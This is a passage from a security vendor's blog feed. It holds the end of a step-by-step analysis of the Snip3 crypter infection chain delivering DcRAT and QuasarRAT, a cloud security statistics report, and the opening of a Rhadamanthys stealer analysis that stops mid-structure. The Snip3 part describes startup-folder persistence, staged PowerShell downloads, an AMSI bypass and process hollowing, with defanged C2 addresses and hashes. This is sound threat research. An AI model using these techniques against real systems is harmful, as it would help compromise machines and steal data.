signatures for the specific command lines, as the values are retrieved after execution in memory. Following this, the script proceeds to decode a Downloader PowerShell script by replacing the string "12BBf02emp410+]@Mdk!!#1022==" with a null value. The decoded script is then saved into a variable named "Camtasia," as shown below. Fig.7 Decoding Downloader PS script using Replace() Below is the decoded Downloader PowerShell Script: Fig.8 Downloader PowerShell script The decoded PowerShell script is saved in the "Camtasia" variable and executed together with the parsed database query response from the server. This creates a WScript.shell object, which then runs the concatenated command "Powershell.exe -ExecutionPolicy RemoteSigned -Command 'Decoded PowerShell Script'." Fig.9 Execution of Downloader Powershell script After executing the decoded downloader PowerShell script, the Stage-2 PowerShell script is downloaded from https[:]pastetext.net/raw/lcscgt0mss using $Client.DownloadData in byte format. The script is then converted to string format using UTF8.GetString() and written to the disk at C:\Users\Public\lcscgt0mss.ps1. The downloaded Stage-2 PowerShell script is then executed using Invoke-Expression, with the execution policy set as RemoteSigned. This allows the PowerShell interpreter to run unsigned scripts from the local computer. Stage-2: PasteText Downloaded PowerShell Script (lcscgt0mss.ps1) The Stage-2 PowerShell script initially runs the "DroptoStartUp" function, which is illustrated in the screenshot below. Fig.10 Stage-2 PowerShell script DroptoStartUp function Upon running the "DroptoStartUp" function, a byte stream is converted via GetString() to a string and stored in the variable $startup. This string is then written to the Startup Folder using the WriteAllText() function and is named as "GoogleChromeUpdateHandlerx64.vbs". By doing this, the script is able to maintain persistence as files in the Startup Folder are executed by the system whenever the user logs on or starts Windows. The %FILE% argument is the $PSCommandPath environment variable which corresponds to the full path and file name of the script that invoked the current command. Fig.11 Stage-2 GoogleChromeUpdateHandlerx64.vbs dropped in the startup folder On every system startup, the “GoogleChromeUpdateHandlerx64.vbs” script is executed from the startup folder, which initializes the WScript.Shell object and the Powershell execution policy with the RemoteSigned parameter to execute an unsigned Stage-2 Powershell script from the specified path. Therefore, the Stage-2 script, lcscgt0mss.ps1, is executed every time the system is restarted by dropping the script and setting the $PSCommandPath to the file name of the script that invoked the current command at runtime. The second part of the Stage-2 script decrypts another PowerShell script in-memory and executes it, as shown in the screenshot below. Fig.12 Stage-2 Decryption (in-memory) of Stage-3 Powershell script The script begins by initializing an encrypted integer stream called $rawData, which is passed on to a function called "IntegerToBytes()" along with the string argument $sKey "Qoepl10Msple1VCmle". Inside the function, a $dataBuffer is initialized to store the decrypted output, and a decryption loop is performed as follows below. Decryption logic: The Decryption loop sets up a counter variable $i=0 and increments it to the length of the $rawData stream (3473) by 1 upon completion of each loop. This is the decryption logic: The first character of the $sKey, i.e., Q is converted to its corresponding character code using AscW($sKey) and stored in $ascwKey = “81”, only this is used for decryption Then, the encrypted integer stream is accessed one digit at a time and divided by the key length multiplied by 128 = $iData[$i] / ($sKey.Length * 128) and saved into the $deBuff variable This $deBuff variable is then subtracted from the $ascwKey i.e “81” and stored in the $decData variable. The $decData variable is the decrypted byte which is added into the $dataBuffer till the completion of the loop Once the loop is completed, the script converts the $dataBuffer to ArrayList object in proper sequence by using the $dataBuffer.ToArray() function and returns the final value. The final array is then converted to string using UTF8.GetString(final_value) and then stored in a variable $PDF which is another powershell script. Finally, the Stage-2 PowerShell Script executes and loads the decrypted Stage-3 PowerShell Script into memory using Invoke-Expression. Stage-3: In-memory decrypted Powershell script Upon execution, the Stage-3 PowerShell script is decrypted with a key and run via Invoke-Expression. Subsequently, the script generates an XMLHTTP object to send arbitrary HTTP requests and receive their responses. Additionally, the script initializes the following configurations related to the download server: $IP = “185[.]81[.]157[.]59” $Port = “3333” $Splitter = “|V|” $ErrorActionPreference = “Silently Continue Fig.13 Stage-3 In-memory decrypted Powershell script download server configuration The "DropToStartUp()" function is executed by the Stage-3 PowerShell script after initialization. This function is the same one used in the Stage-2 script, which converts the byte stream to a string and writes it to the startup folder with the name GoogleChromeUpdateHandler.vbs. Consequently, when the system reboots, the GoogleChromeUpdateHandler.vbs script automatically executes the Stage-3 PowerShell script by initializing the Wscript.Shell object. The $PSCommandPath variable, which contains the path of the invoking script, is already concatenated into the script at runtime. Fig.14 GoogleChromeUpdateHandler.vbs dropped in the startup folder for persistence The "INF()" function is used to gather system information in the Stage-3 PowerShell script. Firstly, it retrieves the universally unique identifier (UUID) of the system by passing the computer name through the $env:computername environment variable to the "HWID()" function. The "HWID()" function executes a WMI Object query ("get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID") to fetch the UUID and converts it into a string using the "ToString()" method. Next, the UUID is parsed to concatenate only the first two values while removing the "-" splitter from the identifier. Finally, the concatenated UUID is returned. Fig.15 Fetches system UUID via WMI object queries Additionally, in the Stage-3 Powershell script, the operating system's name, version, and architecture (32-bit or 64-bit) are collected using the following WMI object queries: Get-WMIObject Win32_OperatingSystem.Name (which splits the output string via “|”) and Get-WMIObject Win32_OperatingSystem.OSArchitecture. The script also collects the computer name and username of the system. Once all of the necessary information is collected, it is arranged and concatenated with specific constant strings in a particular order, as displayed in the screenshot below. Fig.16 System information gathering and concatenation After gathering system information, the Stage-3 Powershell script arranges the data and stores it in the $INFO variable in the following format: Novo_<UUID><Computer_name><UserName><OS_Version_Architecture>\Windows Defender\Yes\Yes\FALSE\ Next, the script calls the HTTP() function to download the Stage-4 Powershell script from the Download Server. The HTTP() function takes two arguments: the first is set to “Vre” and the second is null, as shown in the screenshot below. Fig.17 “Vre” parameter passed on to the HTTP function The HTTP() Function then sends across a HTTP request via the XMLHttpRequest.Open() with following parameters: - Method: POST - Url: http://$IP:Port/Vre (Download Server IP and Port) Where in this case $IP = “185[.]81[.]157[.]59” and $Port = “3333” Note: The value of the $IP and $Port keeps on changing as per the final payload to be executed on the infected machine Further, it sets up the user-agent via the XMLHttpRequest.setRequestHeader() with the $INFO variable, which was assigned to the formatted version of the gathered system information defined previously. Then, the POST request is sent across with the required parameters to the download server in order to download the next stage, the Stage-4 Powershell script. The response is then encapsulated and converted into string and returned to the previous function for parsing as shown in the screenshot below. Fig.18 Downloads the Stage-4 Powershell script from the download server The following request is then sent to the download server: Fig.19 Request to the download server Further, the downloaded data, i.e., the Stage-4 Powershell script, is passed to the Split() function along with the separator $Splitter = “|V|'' which was initialized before. The Split() function then separates the downloaded data into two parts: “TR|V|Add-Type -AssemblyName System.Windows.FormsAdd-Type -AssemblyName..” The split function then separates the script in two parts. One is “TR”, which is the command from the downloader server, and second is the Stage-4 Powershell script. The first part, i.e., index “0”, the command from the downloader server, is then passed on to the switch statement which consists of three conditions as shown in the screenshot below. switch($command){ <condition_1> if $command = “TR” - Perform the Malicious Routine <condition_2> if $command = “Cl” - Exit the code <condition_2> if $command = “Un” - Exit the code } Fig.20 Switch statement as per the command input Therefore, if the command from the download server equals “TR” after splitting the complete downloaded data into two parts, the malicious code routine is executed. This code routine initially generates a random GUID using the NewGuid function then removes the ‘-’ from the Guid and concatenates it with “.PS1”. This becomes the FileName for the Stage-4 Powershell script eg. 0d0c2fb5b767451788a2751ca5ebea2a.PS1. The Filename is then concatenated with the system’s temp path which becomes the file path for the Powershell script, and then the Stage-4 Powershell script is written using WriteAllText() function at the temp path. Further, in order to maintain persistence, the same technique used in the previous “DropToStartUp()” function is implemented where the byte stream is converted to string and then written in the startup folder with the file named as WinLogonUpdate.vbs in this case. Therefore whenever the system is restarted, the Stage-4 Powershell script is executed automatically by the system using the WinLogonUpdate.vbs script by initially creating an Wscript.Shell Object. Then the Stage-4 Powershell Script, as the Temp File path of the Powershell script, is updated at runtime while dropping the script as shown in the screenshot below. Fig.21 Dropping of Stage-4 Powershell script in the temp path along with persistence Once the persistence is laid out, the Stage-4 Powershell script from the download server is executed from the temp path via invocation of Powershell.exe with hidden window style and the execution policy is set to RemoteSigned. At the end, Stage-3 Powershell script sleeps for “3000” milliseconds and then closes off. Stage-4 - The Final Stage - RAT Loader The Stage-4 Powershell script is the “Final Stage - RAT Loader” and has been used effectively by the “Snip3 Crypter crew” as the final loader in the infection chain which delivers and executes numerous RAT families onto target machines. The loader compiles the RunPE source code at runtime which is embedded in the Powershell script as a compressed GZIP byte stream in order to perform Process Hollowing to execute the RAT. Implementing this technique allows the loader to stay under the radar and evade detection mechanisms in place. The loader initially executes the INSTALL function which is the same as the “DropToStartUp()” function explained previously. The function writes the following VBS script in the startUp folder by first converting the byte stream into string and then writing it using WriteAllText() and concatenating the Snip3 Crypter File path at runtime. Fig.22 VBS script dropped in startup folder in order to maintain persistence Further, the most important function of the Snip3 Crypter, the CodeDom(), is executed. The CodeDom function takes three arguments. The first one is the GZIP compress RUNPE code in byte format, the second is the type object, “Git.Repository”, where Git is the namespace and Repository is the class name, and the third, “Execute”, is the method to be invoked after sleeping for 2000 milliseconds as shown in the screenshot below. Fig.23 Execution of the CodeDom() function Upon being executed, the CodeDom function initializes the CodeDom compiler. a .NET API which allows devs to programmatically compile code using the .NET compilers where the version is set to v4 in this case. Along with the version, the compiler parameters such as CompilerOptions and IncludeDebugInformation are initiated during the compilation process shown in the screenshot below Fig.24 CodeDom compiler initialization Post-initialization of the CodeDom Compiler the GZIP compressed RunPE byte stream is decompressed via the Decompress($RunPE) function. This uses the System.IO.Compression.GzipStream with the “Decompress” parameters with input as the GZIP compressed RunPE byte stream, as shown below. Fig.25 GZIP Decompression of RunPE Byte Stream Once the RunPE Byte Stream is decompressed, it’s then compiled dynamically at runtime using CompileAssemblyFromSource via the CodeDom API, where the argument to the functions is the Decompressed RunPE Byte stream. During the compilation, the CSC.exe, i.e., the C# command line compiler process, is spawned, and the compiler creates a temporary CS source code file in the temp directory. After analyzing the dropped source code file, the ThreatLabz team was able to formulate that “RunPE” technique is been used in order to inject the final RAT payload into remote process via process hollowing, as shown in the following screenshot. Fig.26 Runtime compilation of RunPe source code using CodeDom Fig.27 Command line compiler process being spawned Further, the decoding routine of the final RAT payload takes place where fthe URL encoded payload was decoded to a byte array using the UrlDecodeToBytes() function. Then, the output is passed on to the Decompress() function where the URL-decoded byte array is GZIP decompressed. The GZIP decompressed file is the final executable RAT file with the “MZ” header, as shown in the following screenshot. Fig.28 Runtime compilation of RunPe source code using CodeDom Once the RunPE source has been dynamically compiled and the RAT payload has been decoded, the Snip3 Crypter reflectively loads the compiled RunPE loader in-memory via an Invoke() function where the executed method is “execute” and the arguments are the path to AppLaunch.exe gathered via GetRuntimeDirectory(). Fig.29 Reflective loading of the compiled RunPE payload alongside the arguments The reflectively loaded RunPE payload then processes the following two arguments provided by the Snip3 Crypter: Path to AppLaunch.exe: Target process for process hollowing RAT payload: The final RAT executable Fig.30 Arguments to the reflectively loaded RunPE Payload Further, the RunPE payload then performs process hollowing in order to inject the RAT payload into the remote process “AppLaunch.exe” by creating the target process via CreateProcessA() in a suspended state The payload then unmaps or empties out the target process memory via ZwUnMapViewOfSection() Then, memory is allocated in the remote target process depending on the size of the payload via VirtualAllocEx(), then the Final RAT Payload is written at the allocated memory location via WriteProcessMemory(). Towards the end of the process hollowing, the threat context is reconfigured via GetThreadContext() and SetThreatContext() and the SetThreadContext() post reconfiguration points to the beginning of the malicious code. At last, the RunPE payload simply resumes the thread and the final RAT payload is executed in the remote process “AppLaunch.exe” injected via process hollowing. Fig.31 Process Hollowing the RAT in the Remote Process “AppLaunch.exe” Further, the ThreatLabz team dumped the RAT payload from the remote process “AppLaunch.exe” then extracted the configuration as shown in the following screenshot. By analyzing the configuration, they were able to attribute the malware as “DcRat” as per the mutex value: DcRatMutex_qwqdanchun and the certificate information: DcRAT Server as seen in the extracted configuration. Command and control for DcRAT = crazydns[.]linkpc[.]net:5900 Fig.32 DcRAT Extracted Configuration The ThreatLabz team analyzed multiple different Snip3 Crypter’s delivering DcRAT where the loader was almost similar and found that the changes were made only in the case of the target process selected for hollowing such as “RegSvcs.exe”/“InstallUtil.exe”/”RegAsm.exe”. In some cases, the RAT decoding routine consists of the StrReverse() function along with the URL UrlDecodeToBytes() function, which would first reverse the URL-encoded string and then URl decode it in order to deliver the final DcRAT payload. Fig.33 StrReverse() and different Injection target Process been used for delivering the DcRAT Further, the ThreatLabz team also came across samples leveraging the Snip3 crypter with new TTPs in order to deliver “QuasarRAT” on the targeted systems with the similar infection chain as explained before. In this case, the final Snip3 crypter RAT loader is downloaded from a different download server: 185[.]81[.]157[.]172:6594/Vre Fig.34 Download server for QuasarRAT delivery The downloaded Snip3 RAT loader is exactly the same as the previous ones including their respective decryption and loader routines. Here, only the target process for hollowing is “RegAsm.exe” as shown in the screenshot below. Fig.35 Snip3 RAT loader for executingQuasarRAT Post this the QuasarRAT payload is injected into the “RegAsm.exe” using the Dynamically compiled RunPE code which internally uses Process Hollowing as a Process Injection mechanism. Fig.36 Snip3 RAT Loader for execution of QuasarRAT Further, the ThreatLabz team dumped the RAT payload from “RegAsm.exe” and extracted the configuration which helped them in the Attribution by analyzing the Mutex value: “QSR_MUTEX_M611SwpmZ8q66BUDI” and the autorun_regkey_name: “Quasar Client Startup” leading to the conclusion that the Snip3 Crypter was being leveraged in order to deliver QuasarRAT on the targeted machines. Command and control server for QuasarRAT: 185[.]81[.]157[.]203:1111 Fig.37 QuasarRAT configuration Tracking the Snip3 crypter - New TTPs Over Time: Over the course of several months, the ThreatLabz team has been tracking the Snip3 crypter infection chain and has observed changes in the group's tactics, techniques, and procedures (TTPs). The following modifications were identified: The DB server used to fetch malicious strings by the initial VBScript was periodically changed, moving from SQL8001[.]site4now[.]net to SQL8003[.]site4now[.]net and then to SQL8004[.]site4now[.]net. This approach helps the group evade domain-based detections. The Snip3 crew began using TinyURL to shorten URLs for downloading the Stage-2 or Stage-3 PowerShell scripts. These URLs were redirected to toptal[.]com, which hosted the next PS stage. Fig.38 Usage of TinyURLs to download the next PS stage Changes were made to the Stage-3 PS script, including alterations to the user-agent from "Novo_" to "New_" and the initialization of a new version variable [String] $VER = 'v0.2' in the PS script. Fig.39 Implementing a new user-agent An AMSI bypass was discovered in the initial PowerShell script, decoded via the VBScript. This bypass involved setting the AmsiContext to "0," which causes AmsiScanBuffer/AmsiScanString to return E_INVALIDARG, effectively bypassing AMSI. ThreatLabz also came across an AMSI bypass implemented in the Initial PS Script (decoded via the VBScript). Here, the AmsiContext is set to “0” which makes the AmsiScanBuffer/AmsiScanString to return E_INVALIDARG, which in turn bypasses the AMSI. Fig.40 AMSI Bypass By constantly evolving their TTPs, the Snip3 crypter threat actors can successfully deliver remote access trojans such as DcRAT and QuasarRAT on target machines using a multi-staged infection chain. The ThreatLabz team is committed to monitoring these attacks and providing timely updates. Zscaler Sandbox Coverage: Figure 41: The Zscaler Cloud Sandbox successfully detected the crypter VBS.Downloader.DCRat Conclusion: In conclusion, the Snip3 crypter is a threat that continues to evolve with new techniques of obfuscation and evasion. The as-a-service model allows threat actors with limited technical abilities to obtain and use the crypter in their attacks. The multi-stage infection chain, combined with the use of new tactics, makes it a formidable threat that can compromise organizations' systems. The Zscaler ThreatLabz team is actively monitoring these attacks and will continue to work to help protect its customers from this and other emerging threats. It is important for organizations to remain vigilant and adopt robust security measures to safeguard their systems and data from such threats. Indicators of Compromise (IoCs): 1. Stage-1 VBScript: bd23ae38590d87243af890505d6fbeec a41de1ef870e970e265cc35b766a5ec8 SQL8001[.]site4now[.]net - Downloads Malicious strings SQL8003[.]site4now[.]net - Downloads Malicious strings SQL8004[.]site4now[.]net - Downloads Malicious strings pastetext[.]net/raw/lcscgt0mss - Stage-2 Downloader URL toptal[.]com/developers/hastebin/raw/buliforayu - Stage-3 Downloader URL 2. Stage-2 Powershell: a5b76ca780ddff061db6f86f03d3b120 3. Stage-3 Powershell: b78c9bb6070340bb4d352c712a0a28b7 4. Final RAT Loader Downloader IPs: 185[.]81[.]157[.]59 185[.]81[.]157[.]172 185[.]81[.]157[.]136 185[.]81[.]157[.]117 5. Snip3 Final RAT Loader: DcRAT Loader: 923f46f8a9adfd7a48536de6f851d0f7 QuasarRAT Loader: dda2ba195c9ebc9f169770290cd9f68a 6. Final RAT Payloads: DcRAT: ef2236c85f915cae6380c64cc0b3472a QuasarRAT: 0bbc89719ff3c4a90331288482c95eac 7. RAT Command & Control: DcRAT: crazydns[.]linkpc[.]net:5900 QuasarRAT: 185[.]81[.]157[.]203:1111 Fri, 24 Feb 2023 12:09:35 -0800 Niraj Shivtarkar https://www.zscaler.com/blogs/security-research/snip3-crypter-reveals-new-ttps-over-time 2022 Cloud (In)Security Report https://www.zscaler.com/blogs/security-research/2022-cloud-security-report The convenience and ease of public cloud technology have changed our world, enabling scalable business operations, work-from-anywhere, and increased productivity everywhere. As public cloud adoption continues to accelerate, organizations need to hold up their end of the shared responsibility model to protect against cloud security threats. Meanwhile, leaders undertaking cloud transformation or expansion must continue to weigh cost and performance trade-offs between security, operability, control, implementation, and customization. According to research by Venafi, 81% of organizations have experienced a public cloud-related security incident in the past year, with 45% indicating they suffered four or more incidents. This highlights a key problem; many organizations are still using legacy network-based security technologies to protect cloud environments. Legacy solutions don’t translate well into cloud environments, which are elastic, loosely coupled to infrastructure, and do not have a static perimeter. Securing business in the cloud requires an entirely new approach, one that reestablishes holistic visibility and granular control across the environment. Under the current directive, cloud security and compliance are shared responsibilities between the cloud service provider (CSP) and the customer. This is known as the Shared Responsibility Model. While CSPs provide security for the cloud service and hosting infrastructure, the customer is responsible for managing security policies, access, and data protection within the cloud. Understanding the shared responsibility model and proper account configuration is important for helping enterprises align and effectively implement the right compliance and security policies. To support organizations in the mission to protect their cloud environments, Zscaler ThreatLabz researchers analyze cloud workload statistics from the world’s largest security data set, which is built off of over 260 billion daily transactions across the Zscaler platform. For a quick look back, check out the 2020 and 2021 reports. The following findings of this year's report provide a summary look at the state of cloud security in 2022 and its various related challenges. Cloud threat insights 55.1% of organizations leverage more than a single cloud provider and 66.7% of organizations have public cloud storage buckets. However, from widespread misconfigurations to supply chain threats, the risks around using cloud technology are still slowly being realized and calculated by many organizations as they experience related attacks. This section covers key findings around the top five types of cloud threats, including misconfigurations, vulnerabilities, compromised accounts, supply chain attacks, and ransomware. Misconfigurations 98.6% of organizations have misconfigurations in their cloud environments that cause critical risks to data and infrastructure. This is concerning because high-profile data breaches reveal the majority of cyberattacks on public cloud instances are due to misconfigurations rather than vulnerabilities. Managing and eliminating misconfigurations is critical to reduce the risk of attack. While CSPs often provide tools to help manage cloud configuration, misconfiguration of cloud resources remains the most prevalent cloud vulnerability that the threat actors can exploit to access cloud data and services. Cloud misconfiguration errors related to public access to storage buckets, account permissions, password storage and management, unencrypted data stores, etc., have led to numerous data breaches and the exposure of billions of records. Vulnerabilities 17.4% of organizations are running workloads on vulnerable virtual machine compute instances exposed to the internet that could lead to critical data leaks. The identification of vulnerabilities like Log4j opens up the doors for threat actors to rapidly build exploits and search for exposed devices, sites, apps, and cloud instances they can attack. For many organizations patching systems against new vulnerabilities is still a large challenge as they grapple with uncovering all the places where these vulnerabilities may exist in their environments. While 17.4% may seem like a small percentage of exposure, it is highly likely that all of these vulnerable instances can, and will, be discovered by hackers running automated scans across the internet. That’s why it’s critical that security teams prioritize understanding how cloud vulnerabilities propagate and develop a strong security strategy designed to continuously help identify and close the gaps. Compromised accounts 97.1% of organizations use privileged user access controls without MFA enforcement. When it comes to cloud threats, gaining privileged account access can enable hackers to bypass detection and launch a myriad of attacks, yet many organizations still don’t properly limit the privileges or access of servicing users and accounts or enforce MFA verification. With about 25% of breaches being initiated by a phishing attack, and the sophistication of these scams growing harder to detect, it is critical to ramp up access controls and MFA enforcement to protect sensitive data, applications, and workloads kept in the cloud. Malicious insiders, such as disgruntled employees and planted threat actors, can also wreak havoc before they are discovered, and compounding the problem, ransomware gangs have taken to offering payouts in the millions of dollars to users that give them privileged access to targeted organizations. While MFA might not stop these bad actors, applying the principles of zero trust and limiting what actions privileged account holders can perform is key to reducing risk. The following findings suggest that updating access controls to mitigate the threat of compromised cloud accounts should be high on the priority list for security leaders in 2023: 84.1% of organizations give IAM power users administrative privileges without MFA enforcement. 43.5% of organizations with instances that are exposed to the internet and have identities with data access (S3/storage/RDS) 57.8% of organizations utilizing serverless AWS Lambada services violate the least-privileged access principle by assigning users over-privileged roles to the environment. 92.8% of organizations are using Lambada serverless offerings from AWS and 53.6% of these orgs have set up escalated identity and access privileged to these functions. Serverless architecture enables organizations to build and run applications and services while AWS provides the overhead of managing the server infrastructure. While this approach is extremely convenient, it also introduces significant security risks. Supply chain attacks 68% of organizations have external users (from outside the organization, via role delegation or guest users) with admin permissions to the cloud environment; which leads to a governance challenge and increased risk of data exfiltration and exploits. More specifically, 75.4% of organizations with AWS accounts for external identities—including managing contractors and integrations—do not apply strict access controls to limit the permissions and activities that these admin/supers user-level accounts can perform. As organizations continue to migrate to the cloud, reliance on third parties, partners, and integrations increases, which in turn exacerbates the risk of compromising software supply chain attacks. A major aspect of this problem comes from the use of cloud-based builders and code versioning services to expedite the development process across vendors. Unfortunately, shared access to cloud development tools introduces more risk that attackers may gain unauthorized access to CI/CD pipelines and add backdoors, malware, and other threats directly into the software code before it is delivered to customers. Additionally, it is much easier for hackers to find errors and vulnerabilities they can exploit in other ways when they have access to a software’s code. 17.4% of organizations with instances exposed to the internet run a vulnerable cloud image and do not properly restrict user accounts data storage access privileges. In large cloud-based environments, it is common to find the use of automation for setting up infrastructure using an Infrastructure as Code (IaC) platform and configuration files (config files) provided by a cloud vendor or another third party. If a main configuration contains a key vulnerability or risk, like insecure access control settings, the risks will flow downstream into all subsequent use environments, potentially even for on-premises development environments. According to a Proofpoint study, 58% of organizations indicated that one or more third-party affiliates or suppliers were the target of a cloud breach in 2022. If cloud security does not extend to the supply chain and access continues to go unchecked, the number of cloud breaches from supply chain attacks will only increase. Ransomware 59.4% of organizations do not apply basic ransomware controls for cloud storage like MFA Delete and versioning. Amazon S3 Versioning enables multiple object variants to be kept in the same bucket so that when a file is modified both copies are saved for future recovery, comparison, and fidelity verification. Unfortunately, S3 Versioning is not enough on its own because an attacker can disable the configuration and overwrite/delete any existing versions that are in the bucket. To combat this, AWS offers MFA Delete, an S3 bucket feature that requires multi-factor authentication for deletion. Having MFA Delete enabled forces users to authenticate before changing or disabling the versioning state of the specified S3 bucket and prior to permanently deleting object versions. Although preventive measures like the S3 examples outlined above are critical for stopping ransomware threat actors from modifying cloud storage containers, they can be expensive and cost prohibitive for organizations to implement. Cloud security best practices From one organization to the next, no two cloud environments look the same. Your needs and procedures will differ by industry, geography, and your specific single-, multi-, or hybrid-cloud architecture. That being said, a few general best practices hold true in any environment: Take responsibility for configuring and maintaining your own environment. While cloud environments are covered under a shared responsibility for security with the service provider, the proper configuration of these environments is the responsibility of the consumers. A cloud security posture management (CSPM) service can help identify misconfigurations, and coupled with cloud infrastructure entitlement management (CIEM), it can be used to identify permission issues and act as a logical progression from long-established identity and access management (IAM) and privilege access management (PAM) solutions built on least-privileged approaches. Encrypt what you can, and inspect all encrypted traffic. Encryption is a powerful way to protect sensitive traffic, but it’s an equally devious—and extremely common—way for threats to sneak into your systems. Strong encryption and inspection capabilities will protect you in both directions. Log and monitor access and traffic. Besides maintaining visibility as part of a zero trust deployment, incident response activities require comprehensive logging across all assets and services. Monitor and audit configurations for all your clouds and data centers. Most misconfigurations stem from user error, and they’re the leading cause of cloud vulnerabilities. Relying on automation, rather than manual management, is an effective way to keep configurations in check. Run regular vulnerability scans to identify weak points. Use an automated solution built to triage your vulnerabilities by risk profile. This way, your teams don’t have to waste time fixing issues that don’t pose any real danger. Apply security patches as promptly as possible. The time between a patch release and your update can be a window of opportunity for attacks. Besides taking advantage of misconfigurations, most malware are able to take hold because of unpatched vulnerabilities. Choosing cloud services where the shared responsibility of patching rests with the CSP completely eliminates this threat vector in cloud services. Enforce zero trust security. The tenets of zero trust, built on least-privileged access and strong authentication, are critical protection in our digital age, where data, applications, and users can be anywhere and everywhere. To secure the cloud now and in the future, it is imperative that organizations hide applications behind a proxy, limit privileged access, and broker 1:1 connections between users and applications with Zero Trust Network Access (ZTNA). Have a tested response plan in place in the event of a breach. Separating your backup storage from the original data source helps avoid a single point of failure and speeds up remediation. Secure your endpoints, including mobile and IoT devices. Cloud computing has changed enterprise security immeasurably, but endpoints remain the weakest link in the chain. With mobile and IoT data so vulnerable, it’s critical to protect the cloud data traveling through and between these endpoints. Secure your cloud with Zscaler Zscaler secures your cloud environment with a cloud native zero trust architecture through Zscaler Private Access (ZPA), part of the Zscaler Zero Trust Exchange platform. As the world’s most deployed ZTNA platform, ZPA applies the principle of least privilege to give users secure, direct connectivity to private apps while eliminating unauthorized access and lateral movement. Our leading ZTNA platform offers you: Peerless security, beyond legacy VPNs and firewalls: Users connect directly to apps—not the network—minimizing the attack surface and eliminating lateral movement. The end of private app compromise: First-of-its-kind app protection, with inline prevention, deception, and threat isolation, minimizes the risk of compromised users. Superior productivity for today's hybrid workforce: Lightning-fast access to private apps extends seamlessly across remote users, HQ, branch offices, and third-party partners. Unified ZTNA platform for users, workloads & OT/IoT: Securely connect to private apps, services, and OT/IoT devices with the industry’s most comprehensive ZTNA platform. Zscaler for Workloads provides comprehensive protection for workloads in multicloud environments, including on-premises data centers. Zscaler Posture Control secures your cloud native applications from build, deploy, to runtime and includes: Cloud security posture management (CSPM): Improve your overall security and compliance posture with a unified platform that identifies and remediates cloud misconfigurations and vulnerabilities across all major public cloud providers. Cloud infrastructure entitlement management (CIEM): Manage cloud risk by identifying and minimizing excessive privileges in public cloud services. Cloud data loss prevention (DLP): Protect sensitive data and secrets and significantly improve risk prioritization with greater understanding of impact for public cloud risks. Additionally, Zscaler Workload Communications (ZWC) protects all your cloud workload traffic—north-south and east-west—to prevent the spread of malware across your cloud infrastructure. Because ZWC is a unified solution that provides orchestration across all major cloud providers, it offers both consistent security and simpler operations. Companies should expand zero trust to the cloud as they do with people. This trust can go as broad as the communication between VPCs to as granular as communication between applications. Your next step Uncover critical risks across your entire public cloud environment with Zscaler’s Cloud Security Risk Assessment. Get a complete cloud asset inventory, a clear picture of your public cloud security risks, an overview of how you are meeting compliance benchmarks, and actionable remediation guidance. Wed, 15 Feb 2023 14:57:13 -0800 Deepen Desai https://www.zscaler.com/blogs/security-research/2022-cloud-security-report Technical Analysis of Rhadamanthys Obfuscation Techniques https://www.zscaler.com/blogs/security-research/technical-analysis-rhadamanthys-obfuscation-techniques Key Points Rhadamanthys is an information stealer that consists of two components, the loader and the main module (responsible for exfiltrating collected credentials). The malware implements complex anti-analysis techniques by using a public open source library. Rhadamanthys is capable of extracting credentials of various applications such as Keepass and cryptocurrency wallets. One of the detected loaders uses a virtual machine (based on Quake III) in order to protect several parts of its code. Rhadamnthys uses a variation of the Hidden Bee format, which has been already described to a great extent by Malwarebytes. Rhadamnthys has its own file system, which includes an additional set of embedded modules. Both the loader and the main module network communications can be decrypted due to an implementation flaw in their code. Introduction First observed in December of 2022, Rhadamanthys is a malicious information stealer written in C++, which is being distributed mostly via malicious Google advertisements. The malware is designed to steal credentials from web browsers, VPN clients, email clients and chat clients as well as cryptocurrency wallets. Even though Rhadamanthys started to attract attention from the community in late 2022, early samples started to appear in August 2022. In this blog, the Rhadamanthys loader and main module are analyzed in detail including the virtual machine obfuscation based on Quake III, a custom embedded file system, and a weakness in the network encryption protocol. Technical Analysis The following subsections focus on the technical analysis of the Rhadamanthys components. Loader The loader consists of different stages until the actual loader starts its execution. We have categorized these stages as follows: Initialization Phase Decompression Phase Loader Phase Initialization Phase During the initialization phase, Rhadamanthys main task is to decode an embedded block and pass the execution there. In addition, it detects and passes to the next phase the following information: Encrypted configuration A compressed blob that contains modules for assisting with code injection and the in-memory loader In general, we have identified two different types of loaders. Interestingly in one of them, Rhadamanthys uses a virtual machine (Q3VM) in order to obfuscate its code and hide certain code details. Each virtualized block of the protected code is executed by passing an integer value as a parameter to the interpreter of the virtual machine. The identified features of the protected code are summarized in Table 1 below. Parameter Code Description 0 Decodes the next phase using the Base32 algorithm with the custom charset A-Z4-9= 1 Loads the Windows API functions GetProcAddress and VirtualProtect by using the ROR-13 hashing technique. 2 Calls the loaded VirtualProtect Windows API function to prepare the shellcode for execution. 3 Gets a set of strings and searches for them in the current’s process memory space. These strings are: i) avast.exe ii) snxhk Table 1 - Rhadamanthys Virtualized functions Additionally, we identified a sample, which includes a de-virtualized version of the last code block (parameter 3) and the PDB path: d:\debugInfo\rhadamanthys\debug\sandbox.pdb NOTE: The magic bytes of the VM bytecodes have been modified by the threat actors as an attempt to hide the usage of the tool that was used. Moreover, in more recent samples, they have added the XTEA algorithm as an additional layer of encryption for the decoded payload. Decompression Phase In the second phase, the decoded shellcode loads dynamically a set of Windows API functions and decompresses the loader’s code using the LZSS algorithm. Loader Phase In the final stage, the loader decrypts its configuration using the RC4 algorithm and proceeds with the download process of the main module. The structure of the decrypted configuration is the following: struct config { unsigned int Magic; unsigned int Flag; // Used during command line parsing since version 0.4.1 unsigned char Key_Salt[0x10]; // Used during the AES decryption of the downloaded main module. unsigned char C2[]; // The URL path to download the main module. The main module uses the same path for data exfiltration. }; It is worth to note that the final stage of the loader has its own header structure, which is described below. The information derived from this structure is necessary for the loader in order to apply necessary code relocations. struct Loader_Header { unsigned __int16 Magic; // Set to 52 53 unsigned __int16 Characteristics; unsigned __int16 Sections_Number; unsigned __int16 Sizeof_Header; unsigned int Entry_Point_Offset; unsigned int Stager_Size; unsigned int Imports_Offset; unsigned int Imports_Size; unsigned int Unknown1; unsigned int Unknown2; unsigned int Relocation_Table_Offset; unsigned int Relocation_Table_Size; section Stager_Sections[5]; }; struct section { unsigned int Disk_Section_Offset; unsigned int Rva_Section_Offset; unsigned int Section_Size; }; Embedded File System When Rhadamnthys compromises a 64-bit host, the loader decompresses (LZMA) an embedded file system. The embedded file system includes several modules that aim to assist the execution process of the main module. The structure of the file system and its embedded modules along with a description of them (Table 2) are mentioned below. struct loader_embedded_vfs { unsigned char hardcoded_value; // Set to 0xB unsigned char num_of_modules; unsigned __int16 base_Address; module_info modules[num_of_modules]; }; struct 